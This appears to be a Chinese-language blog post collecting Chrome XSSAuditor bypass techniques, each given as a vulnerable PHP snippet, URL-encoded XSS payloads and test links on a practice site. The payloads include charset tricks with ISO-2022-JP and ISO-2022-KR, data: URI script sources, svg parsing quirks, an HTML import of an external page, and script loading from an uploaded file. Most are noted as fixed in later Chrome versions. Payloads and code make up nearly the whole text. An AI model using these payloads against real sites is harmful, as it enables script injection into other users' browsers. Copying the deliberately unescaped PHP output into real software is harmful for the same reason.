私藏比较久的干货,严禁转载。
https://code.google.com/p/chromium/issues/detail?id=526104
chrome45+ fixed
context:
<html> <head> <title>XSSAuditor bypass</title> </head> <body> <form> <input type="text" value="<?php echo isset($_GET['input']) ? $_GET['input'] : 'use ?input=foo'?>"> </form> </body> </html>
payload:
https://www.buglloc.com/xss-auditor.php?input=%22%3E%3Cscript%3Eprompt(/XSS/);1%2502%3Cscript%3C/script%3E <input type="text" value=""><script>prompt(/XSS/);1%02<script</script>">
test
http://mhz.pw/game/xss/attr.php?xss=%22%3E%3Cscript%3Eprompt(/XSS/);1%2502%3Cscript%3C/script%3E没有输出charset的情况下,可以通过制定字符集来绕过auditor。
老版的这个编码:ISO-2022-KR,可用 onerror%0f=alert(1)
bypass,但现在版本已经没用这个编码,所以该payload只适用于老版本chrome。
新版中,有这个编码:ISO-2022-JP,可以在关键处中加入 %1B%28B
,会被省略。
context:
<?php echo $_GET['xss'];
payload:
老版: xss=%3Cmeta%20charset=ISO-2022-JP%3E%3Csvg%20onload%0f=alert(1)%3E 新版: xss=%3Cmeta%20charset=ISO-2022-JP%3E%3Csvg%20onload%1B%28B=alert(1)%3E
test:
http://mhz.pw/game/xss/charset.php?xss=%3Cmeta%20charset=ISO-2022-JP%3E%3Csvg%20onload%1B%28B=alert(1)%3E<script>
的情况 context:
<!doctype HTML> <img alt="<?php echo $_GET['xss']; ?>"> <script> y = "abc"; </script>
payload
xss="><script/src=data:,alert(1)%2b" xss=%22%3E%3Cscript/src=data:,alert(document.domain)%2b%22 xss=%22%3E%3Cscript/src=data:,alert(1)%2b%22 xss=%22%3E%3Cscript/src=data:,alert(1)%26sol;%26sol;
test
http://mhz.pw/game/xss/beforescript.php?xss=%22%3E%3Cscript/src=data:,alert(document.domain)%2b%22context:
<?php // Echo the value of parameter one echo "This is text1:".$_GET['text1']."<br><br>"; // Echo the value of parameter two echo "This is text2:".$_GET['text2']."<br><br>"; ?>
payload:
http://xxx/chrome.php?text1=<script>alert(/XSS/);void('&text2=')</script> http://xxx/chrome.php?text1=<script>alert(/XSS/);document.write('&text2=')</script>
test
http://mhz.pw/game/xss/doubleout.php?text1=%3Cscript%3Ealert(/XSS/);void(%27&text2=%27)%3C/script%3E大概2015-06-23以前的版本均可。
context==全部情况
payload:
xss=<svg><script>/<1/>alert(document.domain)</script></svg>
test
http://mhz.pw/game/xss/xss.php?xss=%3Csvg%3E%3Cscript%3E/%3C1/%3Ealert(document.domain)%3C/script%3E%3C/svg%3EFixed in Oct 10, 2014.(实际上15年初还存在)
https://code.google.com/p/chromium/issues/detail?id=421166
http://www.wooyun.org/bugs/wooyun-2010-090304
由于link导入外部html导致XSSAuditor绕过。
context==全部情况
payload
xss=<link rel=import href=https://auth.mhz.pw/game/xss/link.php>
test
http://mhz.pw/game/xss/xss.php?xss=%3Clink%20rel=import%20href=https://mhz.pw/game/xss/link.php%3E如果允许闭合字符串,直接闭合并写入javascript即可,如: http://mhz.pw/game/xss/scriptstr.php?xss=%27|alert(1)|%27
但如果不能闭合单引号呢?如这个context
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>all</title> <script type="text/javascript"> var a = '<?php echo addslashes($_GET["xss"]); ?>'; </script> </head> <body> 123 </body> </html>
payload
<script> x = "</script><svg><script>alert(1)+""; <script> x = "</script><svg><script>alert(1)+'";
test
http://mhz.pw/game/xss/scriptaddslashes.php?xss=%3C/script%3E%3Csvg%3E%3Cscript%3Ealert(1)%2b%26apos%3B
http://mhz.pw/game/xss/scriptaddslashes.php?xss=%3C/script%3E%3Csvg%3E%3Cscript%3Ealert(1)//context:网站域名下有可控的上传点,我可以上传一个.txt或.js等文件(只要不是媒体文件,其他文件均可,比如上传是黑名单验证的,可以随便写个后缀)。再引入script标签的src属性即可。
payload
xss=%3Cscript%20src=/game/xss/upload/upload.txt%3E%3C/script%3E
test
http://mhz.pw/game/xss/xss.php?xss=%3Cscript%20src=/game/xss/upload/upload.txt%3E%3C/script%3E
http://mhz.pw/game/xss/xss.php?xss=%3Cscript%20src=/game/xss/upload/upload.ayu%3E%3C/script%3E